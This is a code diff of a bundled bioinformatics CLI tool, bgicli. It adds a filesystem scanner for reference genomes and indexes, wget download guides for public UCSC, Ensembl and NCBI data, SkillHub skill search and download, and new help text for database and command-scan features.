+ { regex: /clinvar.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
14792
+ { regex: /gnomad.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
14793
+ { regex: /mills.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
14794
+ { regex: /1000G.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
14795
+ { regex: /hapmap.*\.vcf(\.gz)?$/i, type: "vcf", genome: "hg38" },
14796
+ // BED
14797
+ { regex: /\.(bed|bed\.gz)$/i, type: "bed", genome: "other" }
14798
+ ];
14799
+ var DIR_PATTERNS = [
14800
+ { regex: /star.*index|star_genome/i, type: "star_index", indicator: "Genome.sjdbInfo.txt" },
14801
+ { regex: /hisat2.*index/i, type: "hisat2_index", indicator: ".ht2" },
14802
+ { regex: /salmon.*index/i, type: "salmon_index", indicator: "info.json" },
14803
+ { regex: /kraken2?/i, type: "kraken2_db", indicator: "hash.k2d" },
14804
+ { regex: /diamond/i, type: "diamond_db", indicator: ".dmnd" },
14805
+ { regex: /blast_db|blastdb/i, type: "blast_db", indicator: ".nsq" }
14806
+ ];
14807
+ function defaultSearchRoots() {
14808
+ const home = (0, import_os3.homedir)();
14809
+ const roots = [
14810
+ "/data",
14811
+ "/ref",
14812
+ "/reference",
14813
+ "/genomes",
14814
+ "/databases",
14815
+ "/db",
14816
+ "/lustre",
14817
+ "/GPFS",
14818
+ "/scratch",
14819
+ "/work",
14820
+ "/shared",
14821
+ (0, import_path4.join)(home, "databases"),
14822
+ (0, import_path4.join)(home, "data"),
14823
+ (0, import_path4.join)(home, "reference"),
14824
+ (0, import_path4.join)(home, "ref"),
14825
+ process.cwd()
14826
+ ];
14827
+ return roots.filter((r2) => (0, import_fs4.existsSync)(r2));
14828
+ }
14829
+ function detectGenomeFromPath(path) {
14830
+ const p2 = path.toLowerCase();
14831
+ if (p2.includes("hg38") || p2.includes("grch38")) return "hg38";
14832
+ if (p2.includes("hg19") || p2.includes("grch37") || p2.includes("b37")) return "hg19";
14833
+ if (p2.includes("mm10") || p2.includes("grcm38")) return "mm10";
14834
+ if (p2.includes("mm39") || p2.includes("grcm39")) return "mm39";
14835
+ if (p2.includes("rn7")) return "rn7";
14836
+ if (p2.includes("dm6")) return "dm6";
14837
+ if (p2.includes("danrer")) return "danRer11";
14838
+ return "other";
14839
+ }
14840
+ function labelFor(type, genome, name) {
14841
+ const typeLabels = {
14842
+ fasta: "\u53C2\u8003\u57FA\u56E0\u7EC4 FASTA",
14843
+ gtf: "\u57FA\u56E0\u6CE8\u91CA GTF",
14844
+ gff3: "\u57FA\u56E0\u6CE8\u91CA GFF3",
14845
+ vcf: "VCF \u53D8\u5F02\u6570\u636E\u5E93",
14846
+ bed: "BED \u533A\u57DF\u6587\u4EF6",
14847
+ star_index: "STAR \u6BD4\u5BF9\u7D22\u5F15",
14848
+ hisat2_index: "HISAT2 \u6BD4\u5BF9\u7D22\u5F15",
14849
+ bwa_index: "BWA \u6BD4\u5BF9\u7D22\u5F15",
14850
+ bowtie2_index: "Bowtie2 \u6BD4\u5BF9\u7D22\u5F15",
14851
+ salmon_index: "Salmon \u5B9A\u91CF\u7D22\u5F15",
14852
+ kraken2_db: "Kraken2 \u5B8F\u57FA\u56E0\u7EC4\u5E93",
14853
+ diamond_db: "DIAMOND \u86CB\u767D\u5E93",
14854
+ blast_db: "BLAST \u6570\u636E\u5E93",
14855
+ other: "\u6570\u636E\u5E93"
14856
+ };
14857
+ const genomeLabel = genome !== "other" ? ` (${genome})` : "";
14858
+ return `${typeLabels[type]}${genomeLabel} \u2014 ${name}`;
14859
+ }
14860
+ function scanForDatabases(extraRoots = []) {
14861
+ const roots = [...defaultSearchRoots(), ...extraRoots.map((r2) => (0, import_path4.resolve)(r2))];
14862
+ const found = [];
14863
+ const seen = /* @__PURE__ */ new Set();
14864
+ let skippedDirs = 0;
14865
+ function walk(dir, depth) {
14866
+ if (depth > 4) return;
14867
+ let entries;
14868
+ try {
14869
+ entries = (0, import_fs4.readdirSync)(dir);
14870
+ } catch {
14871
+ skippedDirs++;
14872
+ return;
14873
+ }
14874
+ for (const name of entries) {
14875
+ if (name.startsWith(".")) continue;
14876
+ const fullPath = (0, import_path4.join)(dir, name);
14877
+ let stat;
14878
+ try {
14879
+ stat = (0, import_fs4.statSync)(fullPath);
14880
+ } catch {
14881
+ continue;
14882
+ }
14883
+ if (stat.isDirectory()) {
14884
+ for (const dp of DIR_PATTERNS) {
14885
+ if (dp.regex.test(name)) {
14886
+ if (!dp.indicator || (0, import_fs4.readdirSync)(fullPath).some((f2) => f2.endsWith(dp.indicator))) {
14887
+ const genome = detectGenomeFromPath(fullPath);
14888
+ const id = slugify(`${genome}-${dp.type}-${(0, import_path4.basename)(fullPath)}`);
14889
+ if (!seen.has(fullPath)) {
14890
+ seen.add(fullPath);
14891
+ found.push({
14892
+ id,
14893
+ genome,
14894
+ type: dp.type,
14895
+ path: fullPath,
14896
+ label: labelFor(dp.type, genome, name),
14897
+ addedAt: (/* @__PURE__ */ new Date()).toISOString(),
14898
+ source: "scan"
14899
+ });
14900
+ }
14901
+ break;
14902
+ }
14903
+ }
14904
+ }
14905
+ if (!DIR_PATTERNS.some((dp) => dp.regex.test(name))) {
14906
+ try {
14907
+ const sub = (0, import_fs4.readdirSync)(fullPath);
14908
+ if (sub.some((f2) => f2.endsWith(".bwt")) && sub.some((f2) => f2.endsWith(".ann"))) {
14909
+ const genome = detectGenomeFromPath(fullPath);
14910
+ const id = slugify(`${genome}-bwa_index-${(0, import_path4.basename)(fullPath)}`);
14911
+ if (!seen.has(fullPath)) {
14912
+ seen.add(fullPath);
14913
+ found.push({ id, genome, type: "bwa_index", path: fullPath, label: labelFor("bwa_index", genome, name), addedAt: (/* @__PURE__ */ new Date()).toISOString(), source: "scan" });
14914
+ }
14915
+ }
14916
+ } catch {
14917
+ }
14918
+ walk(fullPath, depth + 1);
14919
+ }
14920
+ } else if (stat.isFile()) {
14921
+ for (const fp of FILE_PATTERNS) {
14922
+ if (fp.regex.test(name)) {
14923
+ const genome = fp.genome === "other" ? detectGenomeFromPath(fullPath) : fp.genome;
14924
+ const id = slugify(`${genome}-${fp.type}-${name.replace(/\.gz$/, "").replace(/\.[^.]+$/, "")}`);
14925
+ if (!seen.has(fullPath)) {
14926
+ seen.add(fullPath);
14927
+ found.push({
14928
+ id,
14929
+ genome,
14930
+ type: fp.type,
14931
+ path: fullPath,
14932
+ label: labelFor(fp.type, genome, name),
14933
+ sizeBytes: stat.size,
14934
+ addedAt: (/* @__PURE__ */ new Date()).toISOString(),
14935
+ source: "scan"
14936
+ });
14937
+ }
14938
+ break;
14939
+ }
14940
+ }
14941
+ }
14942
+ }
14943
+ }
14944
+ for (const root of new Set(roots)) {
14945
+ walk(root, 0);
14946
+ }
14947
+ return { found, skippedDirs };
14948
+ }
14949
+ function buildDbPromptSection(registry) {
14950
+ const entries = Object.values(registry.databases);
14951
+ if (entries.length === 0) {
14952
+ return "\uFF08\u6682\u672A\u6CE8\u518C\u4EFB\u4F55\u6570\u636E\u5E93\u3002\u4F7F\u7528 /db scan \u81EA\u52A8\u626B\u63CF\uFF0C\u6216 /db add <\u8DEF\u5F84> \u624B\u52A8\u6DFB\u52A0\uFF09";
14953
+ }
14954
+ const byGenome = {};
14955
+ for (const e2 of entries) {
14956
+ (byGenome[e2.genome] ??= []).push(e2);
14957
+ }
14958
+ const lines = [];
14959
+ for (const [genome, dbs] of Object.entries(byGenome).sort()) {
14960
+ lines.push(`### ${genome}`);
14961
+ for (const db of dbs.sort((a2, b2) => a2.type.localeCompare(b2.type))) {
14962
+ const exists = (0, import_fs4.existsSync)(db.path) ? "" : " \u26A0(\u8DEF\u5F84\u4E0D\u5B58\u5728)";
14963
+ const size = db.sizeBytes ? ` [${(db.sizeBytes / 1e9).toFixed(1)}GB]` : "";
14964
+ lines.push(`- **${db.label}** (\`${db.type}\`): \`${db.path}\`${size}${exists}`);
14965
+ }
14966
+ lines.push("");
14967
+ }
14968
+ return lines.join("\n").trim();
14969
+ }
14970
+ var DOWNLOAD_GUIDES = {
14971
+ "hg38-fasta": {
14972
+ label: "GRCh38 \u53C2\u8003\u57FA\u56E0\u7EC4 (UCSC)",
14973
+ cmds: [
14974
+ "wget https://hgdownload.soe.ucsc.edu/goldenPath/hg38/bigZips/hg38.fa.gz",
14975
+ "gunzip hg38.fa.gz && samtools faidx hg38.fa"
14976
+ ]
14977
+ },
14978
+ "hg19-fasta": {
14979
+ label: "GRCh37/hg19 \u53C2\u8003\u57FA\u56E0\u7EC4 (UCSC)",
14980
+ cmds: [
14981
+ "wget https://hgdownload.soe.ucsc.edu/goldenPath/hg19/bigZips/hg19.fa.gz",
14982
+ "gunzip hg19.fa.gz && samtools faidx hg19.fa"
14983
+ ]
14984
+ },
14985
+ "mm10-fasta": {
14986
+ label: "GRCm38/mm10 \u53C2\u8003\u57FA\u56E0\u7EC4 (UCSC)",
14987
+ cmds: ["wget https://hgdownload.soe.ucsc.edu/goldenPath/mm10/bigZips/mm10.fa.gz"]
14988
+ },
14989
+ "hg38-gtf": {
14990
+ label: "Ensembl hg38 \u57FA\u56E0\u6CE8\u91CA GTF",
14991
+ cmds: ["wget https://ftp.ensembl.org/pub/release-110/gtf/homo_sapiens/Homo_sapiens.GRCh38.110.gtf.gz"]
14992
+ },
14993
+ "hg38-dbsnp": {
14994
+ label: "dbSNP b156 VCF (hg38)",
14995
+ cmds: ["wget https://ftp.ncbi.nlm.nih.gov/snp/latest_release/VCF/GCF_000001405.40.gz"]
14996
+ },
14997
+ "hg38-clinvar": {
14998
+ label: "ClinVar VCF (hg38)",
14999
+ cmds: ["wget https://ftp.ncbi.nlm.nih.gov/pub/clinvar/vcf_GRCh38/clinvar.vcf.gz"]
15000
+ },
15001
+ "hg38-gnomad": {
15002
+ label: "gnomAD v4 sites VCF (hg38)",
15003
+ cmds: ["# See https://gnomad.broadinstitute.org/downloads for latest URLs"]
15004
+ }
15005
+ };
15006
+
14541
15007
  // src/skillRouter.ts
14542
15008
  var SKILL_CATEGORIES = {
14543
15009
  "\u8F6C\u5F55\u7EC4": { label: "\u8F6C\u5F55\u7EC4\u5B66 (Transcriptomics)", icon: "\u{1F9EC}" },
@@ -15285,17 +15751,17 @@ function routeSkill(message) {
15285
15751
  }
15286
15752
 
15287
15753
  // src/sessions.ts
15288
- var import_fs4 = require("fs");
15289
- var import_path4 = require("path");
15290
- var SESSIONS_DIR = (0, import_path4.join)(BGI_DIR, "sessions");
15291
- var CHECKPOINTS_DIR = (0, import_path4.join)(BGI_DIR, "checkpoints");
15754
+ var import_fs5 = require("fs");
15755
+ var import_path5 = require("path");
15756
+ var SESSIONS_DIR = (0, import_path5.join)(BGI_DIR, "sessions");
15757
+ var CHECKPOINTS_DIR = (0, import_path5.join)(BGI_DIR, "checkpoints");
15292
15758
  function ensureSessionDirs() {
15293
15759
  for (const d2 of [SESSIONS_DIR, CHECKPOINTS_DIR]) {
15294
- if (!(0, import_fs4.existsSync)(d2)) (0, import_fs4.mkdirSync)(d2, { recursive: true });
15760
+ if (!(0, import_fs5.existsSync)(d2)) (0, import_fs5.mkdirSync)(d2, { recursive: true });
15295
15761
  }
15296
15762
  }
15297
15763
  function sessionPath(id) {
15298
- return (0, import_path4.join)(SESSIONS_DIR, `${id}.json`);
15764
+ return (0, import_path5.join)(SESSIONS_DIR, `${id}.json`);
15299
15765
  }
15300
15766
  function newSessionId() {
15301
15767
  const now = /* @__PURE__ */ new Date();
@@ -15319,25 +15785,25 @@ function saveSession(id, name, messages, skills, createdAt) {
15319
15785
  preview,
15320
15786
  messages
15321
15787
  };
15322
- (0, import_fs4.writeFileSync)(sessionPath(id), JSON.stringify(session, null, 2), "utf8");
15788
+ (0, import_fs5.writeFileSync)(sessionPath(id), JSON.stringify(session, null, 2), "utf8");
15323
15789
  }
15324
15790
  function loadSession(id) {
15325
15791
  ensureSessionDirs();
15326
15792
  const p2 = sessionPath(id);
15327
- if (!(0, import_fs4.existsSync)(p2)) return null;
15793
+ if (!(0, import_fs5.existsSync)(p2)) return null;
15328
15794
  try {
15329
- return JSON.parse((0, import_fs4.readFileSync)(p2, "utf8"));
15795
+ return JSON.parse((0, import_fs5.readFileSync)(p2, "utf8"));
15330
15796
  } catch {
15331
15797
  return null;
15332
15798
  }
15333
15799
  }
15334
15800
  function listSessions() {
15335
15801
  ensureSessionDirs();
15336
- const files = (0, import_fs4.readdirSync)(SESSIONS_DIR).filter((f2) => f2.endsWith(".json"));
15802
+ const files = (0, import_fs5.readdirSync)(SESSIONS_DIR).filter((f2) => f2.endsWith(".json"));
15337
15803
  const metas = [];
15338
15804
  for (const f2 of files) {
15339
15805
  try {
15340
- const raw = JSON.parse((0, import_fs4.readFileSync)((0, import_path4.join)(SESSIONS_DIR, f2), "utf8"));
15806
+ const raw = JSON.parse((0, import_fs5.readFileSync)((0, import_path5.join)(SESSIONS_DIR, f2), "utf8"));
15341
15807
  metas.push({
15342
15808
  id: raw.id,
15343
15809
  name: raw.name,
@@ -15354,8 +15820,8 @@ function listSessions() {
15354
15820
  }
15355
15821
  function deleteSession(id) {
15356
15822
  const p2 = sessionPath(id);
15357
- if (!(0, import_fs4.existsSync)(p2)) return false;
15358
- (0, import_fs4.unlinkSync)(p2);
15823
+ if (!(0, import_fs5.existsSync)(p2)) return false;
15824
+ (0, import_fs5.unlinkSync)(p2);
15359
15825
  return true;
15360
15826
  }
15361
15827
  function getLastSession() {
@@ -15363,7 +15829,7 @@ function getLastSession() {
15363
15829
  return all[0] ?? null;
15364
15830
  }
15365
15831
  function checkpointPath(id) {
15366
- return (0, import_path4.join)(CHECKPOINTS_DIR, `${id}.json`);
15832
+ return (0, import_path5.join)(CHECKPOINTS_DIR, `${id}.json`);
15367
15833
  }
15368
15834
  function saveCheckpoint(sessionId, label, messages, skills) {
15369
15835
  ensureSessionDirs();
@@ -15377,16 +15843,16 @@ function saveCheckpoint(sessionId, label, messages, skills) {
15377
15843
  messages,
15378
15844
  skills
15379
15845
  };
15380
- (0, import_fs4.writeFileSync)(checkpointPath(id), JSON.stringify(cp, null, 2), "utf8");
15846
+ (0, import_fs5.writeFileSync)(checkpointPath(id), JSON.stringify(cp, null, 2), "utf8");
15381
15847
  return id;
15382
15848
  }
15383
15849
  function listCheckpoints(sessionId) {
15384
15850
  ensureSessionDirs();
15385
- const files = (0, import_fs4.readdirSync)(CHECKPOINTS_DIR).filter((f2) => f2.endsWith(".json"));
15851
+ const files = (0, import_fs5.readdirSync)(CHECKPOINTS_DIR).filter((f2) => f2.endsWith(".json"));
15386
15852
  const cps = [];
15387
15853
  for (const f2 of files) {
15388
15854
  try {
15389
- const cp = JSON.parse((0, import_fs4.readFileSync)((0, import_path4.join)(CHECKPOINTS_DIR, f2), "utf8"));
15855
+ const cp = JSON.parse((0, import_fs5.readFileSync)((0, import_path5.join)(CHECKPOINTS_DIR, f2), "utf8"));
15390
15856
  if (!sessionId || cp.sessionId === sessionId) cps.push(cp);
15391
15857
  } catch {
15392
15858
  }
@@ -15395,8 +15861,8 @@ function listCheckpoints(sessionId) {
15395
15861
  }
15396
15862
  function deleteCheckpoint(id) {
15397
15863
  const p2 = checkpointPath(id);
15398
- if (!(0, import_fs4.existsSync)(p2)) return false;
15399
- (0, import_fs4.unlinkSync)(p2);
15864
+ if (!(0, import_fs5.existsSync)(p2)) return false;
15865
+ (0, import_fs5.unlinkSync)(p2);
15400
15866
  return true;
15401
15867
  }
15402
15868
  function clearCheckpoints(sessionId) {
@@ -15409,8 +15875,86 @@ function clearCheckpoints(sessionId) {
15409
15875
  }
15410
15876
 
15411
15877
  // src/index.ts
15412
- var import_fs6 = require("fs");
15413
- var VERSION2 = "2.2.13";
15878
+ var import_fs7 = require("fs");
15879
+ var VERSION2 = "2.2.15";
15880
+ var SKILLHUB_HUBS = {
15881
+ bgi: { label: "BGI\u5185\u7F51", apiBase: "https://clawhub.ai", backend: "clawhub" },
15882
+ clawhub: { label: "clawhub.ai", apiBase: "https://clawhub.ai", backend: "clawhub" },
15883
+ tencent: { label: "Tencent", apiBase: "https://lightmake.site", backend: "tencent" }
15884
+ };
15885
+ function httpGetJson(url) {
15886
+ const mod = url.startsWith("https") ? import_https2.get : require("http").get;
15887
+ return new Promise((resolve4, reject) => {
15888
+ const req = mod(url, { headers: { "User-Agent": `bgicli/${VERSION2}`, Accept: "application/json" } }, (res) => {
15889
+ const chunks = [];
15890
+ res.on("data", (c2) => chunks.push(c2));
15891
+ res.on("end", () => {
15892
+ try {
15893
+ resolve4(JSON.parse(Buffer.concat(chunks).toString()));
15894
+ } catch (e2) {
15895
+ reject(new Error(`JSON parse error from ${url}`));
15896
+ }
15897
+ });
15898
+ });
15899
+ req.setTimeout(1e4, () => {
15900
+ req.destroy();
15901
+ reject(new Error("timeout"));
15902
+ });
15903
+ req.on("error", reject);
15904
+ });
15905
+ }
15906
+ async function searchSkillHub(query, hub, limit2 = 10) {
15907
+ const cfg = SKILLHUB_HUBS[hub];
15908
+ if (cfg.backend === "tencent") {
15909
+ const data = await httpGetJson(
15910
+ `${cfg.apiBase}/api/skills?page=1&pageSize=${limit2}&keyword=${encodeURIComponent(query)}`
15911
+ );
15912
+ if (data.code !== 0 || !data.data?.skills) return [];
15913
+ return data.data.skills.map((s2) => ({
15914
+ slug: s2.slug,
15915
+ name: s2.name,
15916
+ summary: s2.description ?? "",
15917
+ version: s2.version,
15918
+ owner: s2.ownerName ?? (s2.homepage ? s2.homepage.replace(/.*clawhub\.ai\/([^/]+)\/.*/, "$1") : void 0)
15919
+ }));
15920
+ } else {
15921
+ const data = await httpGetJson(
15922
+ `${cfg.apiBase}/api/v1/search?q=${encodeURIComponent(query)}&limit=${limit2}&nonSuspiciousOnly=true`
15923
+ );
15924
+ if (!data.results) return [];
15925
+ return data.results.map((s2) => ({
15926
+ slug: s2.slug,
15927
+ name: s2.displayName ?? s2.slug,
15928
+ summary: s2.summary ?? "",
15929
+ version: s2.version ?? void 0
15930
+ }));
15931
+ }
15932
+ }
15933
+ async function downloadSkillMd(slug) {
15934
+ const data = await new Promise((resolve4, reject) => {
15935
+ const req = (0, import_https2.get)(
15936
+ `https://clawhub.ai/api/v1/skills/${encodeURIComponent(slug)}/file?path=SKILL.md`,
15937
+ { headers: { "User-Agent": `bgicli/${VERSION2}` } },
15938
+ (res) => {
15939
+ if (res.statusCode === 404) {
15940
+ req.destroy();
15941
+ reject(new Error("not_found"));
15942
+ return;
15943
+ }
15944
+ const chunks = [];
15945
+ res.on("data", (c2) => chunks.push(c2));
15946
+ res.on("end", () => resolve4(Buffer.concat(chunks).toString()));
15947
+ }
15948
+ );
15949
+ req.setTimeout(15e3, () => {
15950
+ req.destroy();
15951
+ reject(new Error("timeout"));
15952
+ });
15953
+ req.on("error", reject);
15954
+ });
15955
+ return data;
15956
+ }
15957
+ var _lastSearchResults = [];
15414
15958
  function isNewer(latest, current) {
15415
15959
  const [lM, lm, lp] = latest.split(".").map(Number);
15416
15960
  const [cM, cm, cp] = current.split(".").map(Number);
@@ -15421,7 +15965,7 @@ function isNewer(latest, current) {
15421
15965
  async function checkAndAutoUpdate() {
15422
15966
  let latest;
15423
15967
  try {
15424
- latest = await new Promise((resolve3, reject) => {
15968
+ latest = await new Promise((resolve4, reject) => {
15425
15969
  const req = (0, import_https2.get)(
15426
15970
  "https://registry.npmjs.org/@bgicli/bgicli/latest",
15427
15971
  { headers: { "User-Agent": `bgicli/${VERSION2}` } },
@@ -15430,7 +15974,7 @@ async function checkAndAutoUpdate() {
15430
15974
  res.on("data", (c2) => chunks.push(c2));
15431
15975
  res.on("end", () => {
15432
15976
  try {
15433
- resolve3(JSON.parse(Buffer.concat(chunks).toString()).version);
15977
+ resolve4(JSON.parse(Buffer.concat(chunks).toString()).version);
15434
15978
  } catch {
15435
15979
  reject(new Error("parse"));
15436
15980
  }
@@ -15452,10 +15996,10 @@ async function checkAndAutoUpdate() {
15452
15996
  \u{1F504} \u53D1\u73B0\u65B0\u7248\u672C v${latest}\uFF08\u5F53\u524D v${VERSION2}\uFF09\uFF0C\u6B63\u5728\u81EA\u52A8\u66F4\u65B0...
15453
15997
  `)
15454
15998
  );
15455
- const ok = await new Promise((resolve3) => {
15999
+ const ok = await new Promise((resolve4) => {
15456
16000
  (0, import_child_process2.exec)(
15457
16001
  `npm install -g @bgicli/bgicli@${latest} --registry https://registry.npmjs.org`,
15458
- (error) => resolve3(!error)
16002
+ (error) => resolve4(!error)
15459
16003
  );
15460
16004
  });
15461
16005
  if (ok) {
@@ -15474,21 +16018,21 @@ var SESSION_CTX = {
15474
16018
  wdirSnapshot: null
15475
16019
  };
15476
16020
  function installBundledData() {
15477
- const bundledData = (0, import_path5.join)(__dirname, "..", "data");
15478
- if (!(0, import_fs5.existsSync)(bundledData)) return;
16021
+ const bundledData = (0, import_path6.join)(__dirname, "..", "data");
16022
+ if (!(0, import_fs6.existsSync)(bundledData)) return;
15479
16023
  ensureDirs();
15480
16024
  const targets = [
15481
- { src: (0, import_path5.join)(bundledData, "workflows"), dest: WORKFLOWS_DIR, name: "Skills (\u751F\u4FE1\u5DE5\u4F5C\u6D41)" },
15482
- { src: (0, import_path5.join)(bundledData, "skills"), dest: SKILLS_DIR, name: "Skills (\u533B\u5B66\u4E13\u79D1)" },
15483
- { src: (0, import_path5.join)(bundledData, "tools"), dest: TOOLS_DIR, name: "\u5DE5\u5177" }
16025
+ { src: (0, import_path6.join)(bundledData, "workflows"), dest: WORKFLOWS_DIR, name: "Skills (\u751F\u4FE1\u5DE5\u4F5C\u6D41)" },
16026
+ { src: (0, import_path6.join)(bundledData, "skills"), dest: SKILLS_DIR, name: "Skills (\u533B\u5B66\u4E13\u79D1)" },
16027
+ { src: (0, import_path6.join)(bundledData, "tools"), dest: TOOLS_DIR, name: "\u5DE5\u5177" }
15484
16028
  ];
15485
16029
  let installed = false;
15486
16030
  for (const { src, dest, name } of targets) {
15487
- if (!(0, import_fs5.existsSync)(src)) continue;
15488
- const isEmpty = !(0, import_fs5.existsSync)(dest) || (0, import_fs5.readdirSync)(dest).length === 0;
16031
+ if (!(0, import_fs6.existsSync)(src)) continue;
16032
+ const isEmpty = !(0, import_fs6.existsSync)(dest) || (0, import_fs6.readdirSync)(dest).length === 0;
15489
16033
  if (isEmpty) {
15490
- (0, import_fs5.mkdirSync)(dest, { recursive: true });
15491
- (0, import_fs5.cpSync)(src, dest, { recursive: true });
16034
+ (0, import_fs6.mkdirSync)(dest, { recursive: true });
16035
+ (0, import_fs6.cpSync)(src, dest, { recursive: true });
15492
16036
  if (!installed) {
15493
16037
  process.stdout.write(source_default.dim("\u6B63\u5728\u521D\u59CB\u5316\u5185\u7F6E\u6570\u636E...\n"));
15494
16038
  installed = true;
@@ -15555,9 +16099,20 @@ function printHelp() {
15555
16099
  console.log(source_default.bold.cyan("\u2500\u2500\u2500 \u5DE5\u4F5C\u6D41\u5411\u5BFC \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500"));
15556
16100
  console.log(` ${source_default.cyan("/run")} <skill-id> \u4EA4\u4E92\u5F0F\u53C2\u6570\u5411\u5BFC\uFF0C\u81EA\u52A8\u751F\u6210\u5E76\u6267\u884C\u5206\u6790\u811A\u672C`);
15557
16101
  console.log(` ${source_default.cyan("/check-env")} [id] \u68C0\u6D4B Skill \u6240\u9700 R/Python \u5305\u662F\u5426\u5DF2\u5B89\u88C5`);
15558
- console.log(` ${source_default.cyan("/install")} <url> \u4ECE GitHub \u5B89\u88C5\u7B2C\u4E09\u65B9 Skill`);
16102
+ console.log(` ${source_default.cyan("/search")} <\u5173\u952E\u8BCD> \u5728 SkillHub \u641C\u7D22\u5E76\u4E0B\u8F7D\u6280\u80FD ${source_default.dim("[--hub=bgi|clawhub|tencent]")}`);
16103
+ console.log(` ${source_default.cyan("/install")} <url|slug> \u4ECE GitHub \u6216 SkillHub \u5B89\u88C5 Skill\uFF08\u542B\u5B89\u5168\u626B\u63CF\uFF09`);
15559
16104
  console.log(` ${source_default.cyan("/uninstall")} <id> \u5378\u8F7D\u5DF2\u5B89\u88C5\u7684\u7B2C\u4E09\u65B9 Skill`);
15560
16105
  console.log();
16106
+ console.log(source_default.bold.cyan("\u2500\u2500\u2500 \u6570\u636E\u5E93\u7BA1\u7406 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500"));
16107
+ console.log(` ${source_default.cyan("/db list")} \u5217\u51FA\u5DF2\u6CE8\u518C\u53C2\u8003\u6570\u636E\u5E93`);
16108
+ console.log(` ${source_default.cyan("/db add")} <\u8DEF\u5F84> \u624B\u52A8\u6CE8\u518C\u6570\u636E\u5E93\u8DEF\u5F84\uFF08\u957F\u671F\u4FDD\u5B58\uFF09`);
16109
+ console.log(` ${source_default.cyan("/db scan")} [\u76EE\u5F55] \u81EA\u52A8\u626B\u63CF\u6587\u4EF6\u7CFB\u7EDF\u67E5\u627E\u5DF2\u77E5\u6570\u636E\u5E93`);
16110
+ console.log(` ${source_default.cyan("/db rm")} <id> \u5220\u9664\u6570\u636E\u5E93\u8BB0\u5F55`);
16111
+ console.log(` ${source_default.cyan("/db download")} [\u540D\u79F0] \u663E\u793A\u6807\u51C6\u6570\u636E\u5E93\u4E0B\u8F7D\u547D\u4EE4`);
16112
+ console.log();
16113
+ console.log(source_default.bold.cyan("\u2500\u2500\u2500 \u5B89\u5168\u626B\u63CF \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500"));
16114
+ console.log(` ${source_default.cyan("/scan")} <\u547D\u4EE4> \u626B\u63CF\u547D\u4EE4\u5B89\u5168\u98CE\u9669 ${source_default.dim("[CRITICAL/HIGH/MEDIUM/LOW]")}`);
16115
+ console.log();
15561
16116
  console.log(source_default.bold.cyan("\u2500\u2500\u2500 \u6587\u4EF6 & \u76EE\u5F55 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500"));
15562
16117
  console.log(` ${source_default.cyan("/cd")} <\u8DEF\u5F84> \u66F4\u6539\u5DE5\u4F5C\u76EE\u5F55`);
15563
16118
  console.log(` ${source_default.cyan("/cwd")} \u663E\u793A\u5F53\u524D\u5DE5\u4F5C\u76EE\u5F55`);
@@ -15657,10 +16212,10 @@ async function firstRunIfNeeded(rl) {
15657
16212
  function collectAllSkills() {
15658
16213
  const entries = [];
15659
16214
  const addFrom = (dir, tag) => {
15660
- if (!(0, import_fs5.existsSync)(dir)) return;
15661
- (0, import_fs5.readdirSync)(dir).forEach((f2) => {
16215
+ if (!(0, import_fs6.existsSync)(dir)) return;
16216
+ (0, import_fs6.readdirSync)(dir).forEach((f2) => {
15662
16217
  try {
15663
- if ((0, import_fs5.statSync)((0, import_path5.join)(dir, f2)).isDirectory()) entries.push({ id: f2, dir, tag });
16218
+ if ((0, import_fs6.statSync)((0, import_path6.join)(dir, f2)).isDirectory()) entries.push({ id: f2, dir, tag });
15664
16219
  } catch {
15665
16220
  }
15666
16221
  });
@@ -15700,9 +16255,9 @@ async function llmRecommendSkills(userQuery) {
15700
16255
  const all = collectAllSkills();
15701
16256
  const catalogLines = [];
15702
16257
  for (const entry of all) {
15703
- const skillPath = (0, import_path5.join)(entry.dir, entry.id, "SKILL.md");
15704
- if (!(0, import_fs5.existsSync)(skillPath)) continue;
15705
- const raw = (0, import_fs5.readFileSync)(skillPath, "utf8");
16258
+ const skillPath = (0, import_path6.join)(entry.dir, entry.id, "SKILL.md");
16259
+ if (!(0, import_fs6.existsSync)(skillPath)) continue;
16260
+ const raw = (0, import_fs6.readFileSync)(skillPath, "utf8");
15706
16261
  const { name, shortDesc } = parseSkillMeta(raw);
15707
16262
  const displayName = name || entry.id;
15708
16263
  const desc = shortDesc ? ` \u2014 ${shortDesc}` : "";
@@ -15761,12 +16316,12 @@ async function injectSkill(id, history, injectedSkills, rl, skipConfirm = false)
15761
16316
  console.log(source_default.dim("\u4F7F\u7528 /sk <\u5173\u952E\u8BCD> \u641C\u7D22"));
15762
16317
  return false;
15763
16318
  }
15764
- const skillPath = (0, import_path5.join)(match.dir, match.id, "SKILL.md");
15765
- if (!(0, import_fs5.existsSync)(skillPath)) {
16319
+ const skillPath = (0, import_path6.join)(match.dir, match.id, "SKILL.md");
16320
+ if (!(0, import_fs6.existsSync)(skillPath)) {
15766
16321
  console.log(source_default.red(`${match.id} \u7F3A\u5C11 SKILL.md`));
15767
16322
  return false;
15768
16323
  }
15769
- const content = (0, import_fs5.readFileSync)(skillPath, "utf8");
16324
+ const content = (0, import_fs6.readFileSync)(skillPath, "utf8");
15770
16325
